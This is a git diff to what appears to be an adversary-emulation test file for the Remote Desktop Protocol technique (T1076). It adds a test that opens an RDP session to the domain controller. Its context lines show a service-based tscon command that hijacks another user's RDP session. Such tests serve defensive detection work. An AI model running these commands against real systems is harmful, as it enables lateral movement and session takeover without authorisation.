diff --git a/atomics/T1076/T1076.yaml b/atomics/T1076/T1076.yaml index 365c0a97..8754bd6a 100644 --- a/atomics/T1076/T1076.yaml +++ b/atomics/T1076/T1076.yaml @@ -19,3 +19,30 @@ atomic_tests: sc.exe create sesshijack binpath= "cmd.exe /k tscon 1337 /dest:rdp-tcp#55" net start sesshijack sc.exe delete sesshijack + +- name: RDPto-DomainController + description: | + Attempt an RDP session via "Connect-RDP" to a system. Default RDPs to (%logonserver%) as the current user + + supported_platforms: + - windows + + input_arguments: + + logonserver: + description: ComputerName argument default %logonserver% + type: String + default: $ENV:logonserver.TrimStart("\") + + username: + description: Username argument default %USERDOMAIN%\%username% + type: String + default: $Env:USERDOMAIN\$ENV:USERNAME + + executor: + name: powershell + elevation_required: false + prereq_command: | + if((Get-WmiObject -Class Win32_ComputerSystem).PartOfDomain) {0} else {1} + command: | + Connect-RDP -ComputerName #{logonserver} -User #{username}